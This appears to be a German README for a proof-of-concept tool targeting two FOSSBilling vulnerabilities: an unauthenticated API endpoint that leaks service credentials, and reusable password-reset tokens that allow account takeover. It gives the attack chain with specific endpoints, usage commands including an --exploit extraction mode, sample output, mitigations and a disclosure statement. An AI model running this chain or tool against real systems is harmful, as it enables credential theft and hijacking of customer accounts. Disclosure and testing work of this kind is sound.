
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Nicht authentifizierte API-Schlüssel-Offenlegung & Wiederverwendung von Passwort-Reset-Tokens
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
erstellt von 7megaumka7
PoC-Tool für zwei akzeptierte GitHub Security Advisory Schwachstellen in FOSSBilling ≤ 0.7.2
FOSKiller ist ein Proof-of-Concept-Tool, das zwei Sicherheitslücken in FOSSBilling demonstriert – einer Open-Source-Plattform für Abrechnung und Kundenverwaltung. Beide Schwachstellen wurden verantwortungsvoll über das GitHub Security Advisory Programm gemeldet und sind in FOSSBilling 0.7.3+ vollständig behoben.
Das Tool richtet sich an:
Der Gast-Endpunkt /api/guest/serviceapikey/get_info gibt die vollständige Dienstkonfiguration zurück – einschließlich custom_*-Felder, API-Anmeldedaten, Hostnamen und Passwörter – ohne dass eine Authentifizierung erforderlich ist. Ein Angreifer, der einen gültigen API-Schlüssel kennt oder enumeriert, kann die vollständige Backend-Dienstkonfiguration von einem öffentlichen Endpunkt abrufen.
Auswirkung: Offenlegung von Dienstanmeldedaten, internen Hostnamen, API-Geheimnissen.
Wenn ein Kunde zwei aufeinanderfolgende Passwort-Zurücksetzungen für dasselbe Konto auslöst, stellt die Anwendung ein neues Token aus, invalidiert jedoch das vorherige nicht. Ein Angreifer, der zuvor das erste Token abgefangen hat, kann es verwenden, um ein neues Passwort zu setzen, selbst nachdem der legitime Benutzer seinen eigenen Reset-Vorgang abgeschlossen hat.
Angriffskette:
1. Angreifer löst POST /api/guest/client/reset_password aus → fängt Token T1 ab
2. Opfer löst eigenen Reset aus → App stellt T2 aus, T1 bleibt gültig
3. Angreifer ruft POST /api/guest/client/update_password?hash=T1 mit gewähltem Passwort auf
4. Angreifer hat dauerhaften Zugriff, unabhängig vom Abschluss des Resets des Opfers
Auswirkung: Dauerhafte Accountübernahme jedes Kunden, dessen Reset-E-Mail abgefangen werden kann.
Fehlen Abhängigkeiten, erkennt das Skript dies beim Start und bietet an, sie automatisch zu installieren.
Repository klonen und Abhängigkeiten installieren:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Oder ohne Vorinstallation ausführen – das Skript wird beim ersten Start dazu auffordern, fehlende Pakete zu installieren.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only und --exploit schließen sich gegenseitig aus.
Nur Erkennung – beide CVEs prüfen ohne Daten zu extrahieren:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Vollständige Extraktion und Dokumentation der Angriffskette:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Ergebnisse in JSON speichern und über Burp Suite leiten:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Eine unbekannte oder bereits gepatchte Version testen:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Prüfe https://billing.example.com …
[+] Erkannte Version: 0.7.1
[+] CVE-2026-53647 betroffener Bereich (>=0.5.3 <=0.7.2): JA
[+] CVE-2026-53646 betroffener Bereich (>=0.5.6 <=0.7.2): JA
── CVE-2026-53647 │ Unauthentifizierte Offenlegung von API-Schlüsselkonfigurationen ─────────
[*] Ziel : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Modus : Vollständige Extraktion
[*] HTTP : 200
[+] SCHWACHSTELLE – Endpunkt gab 4 sensible Felder ohne Authentifizierung zurück
Feld Wert
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [IN DIESEM BEISPIEL GESCHWÄRZT]
custom_api_secret [IN DIESEM BEISPIEL GESCHWÄRZT]
── CVE-2026-53646 │ Wiederverwendung von Passwort-Reset-Token / Accountübernahme ─────
[*] Sende Reset-Anfrage #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Sende Reset-Anfrage #2 (gleiche E-Mail) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Zeitdifferenz zwischen den Anfragen : 0,643s
[!] Beide Reset-Anfragen erfolgreich – Endpunkt akzeptiert wiederholte Resets ohne Ratenbegrenzung.
── Zusammenfassung ─────────────────────────────────────────────────────────────
CVE GHSA Schweregrad Status
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Mittel (CVSS 6.9) SCHWACHSTELLE
CVE-2026-53646 GHSA-vp66-w6rc-x32p Hoch (CVSS 7.7) POTENZIELL_SCHWACHSTELLE
Aktualisieren Sie auf FOSSBilling >= 0.7.3, das beide Schwachstellen behebt.
Wenn ein sofortiger Patch nicht möglich ist:
| CVE | Temporäre Abhilfe |
|---|---|
| CVE-2026-53647 | Zugriff auf /api/guest/serviceapikey/ auf Webserver- oder WAF-Ebene blockieren |
| CVE-2026-53646 | Token-Invalidierung bei Neuausstellung implementieren; Ratenbegrenzung am Reset-Endpunkt hinzufügen |
Beide Schwachstellen wurden vor dieser Veröffentlichung über das GitHub Security Advisory Programm an die FOSSBilling-Maintainer gemeldet.
Dieses Tool dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests.
Verwenden Sie dieses Tool nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrückliche schriftliche Genehmigung zum Testen erhalten haben. Die unbefugte Nutzung gegen Systeme Dritter ist nach dem Computer Fraud and Abuse Act (CFAA), dem Computer Misuse Act und gleichwertigen Gesetzen weltweit illegal.
Der Autor übernimmt keine Verantwortung für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Nutzung dieses Tools entstehen. Durch die Nutzung dieses Tools erklären Sie sich damit einverstanden, dass Sie allein für Ihre Handlungen verantwortlich sind.
Forscher & Autor: 7megaumka7
Schwachstellenentdeckung, -analyse, verantwortungsvolle Offenlegung und Toolentwicklung.
| Advisory | CVE | Typ | CVSS | Betroffen |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Unauthentifizierte Offenlegung von API-Schlüsselkonfigurationen | 6.9 Mittel | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Wiederverwendung von Passwort-Reset-Token → Accountübernahme | 7.7 Hoch | >= 0.5.6, <= 0.7.2 |
| Flag | Erforderlich | Beschreibung |
|---|
--target URL | Ja | Basis-URL der FOSSBilling-Instanz |
--key KEY | Für CVE-2026-53647 | Zu testender API-Schlüssel |
--email EMAIL | Für CVE-2026-53646 | Zu testende Kunden-E-Mail |
--check-only | Nein | Erkennungsmodus – Schwachstelle bestätigen ohne Daten zu extrahieren |
--exploit | Nein | Vollständige Extraktion + Dokumentation der Angriffskette |
--force | Nein | Prüfung des Versionsbereichs überspringen |
--output FILE | Nein | Vollständige Ergebnisse in eine JSON-Datei speichern |
--timeout SEC | Nein | HTTP-Timeout in Sekunden (Standard: 10) |
--proxy URL | Nein | HTTP-Proxy (z.B. http://127.0.0.1:8080) |
| Modus | Flag | Funktion |
|---|
| Erkennung | --check-only | Bestätigt, dass die Schwachstelle existiert. Zeigt oder extrahiert keine sensiblen Werte. |
| Standard | (kein Modus-Flag) | Bestätigt den Status und zeigt grundlegende Beweise. |
| Ausnutzung | --exploit | Extrahiert alle offengelegten Felder; dokumentiert die vollständige Accountübernahme-Kette mit Zeitstempel-Metadaten. |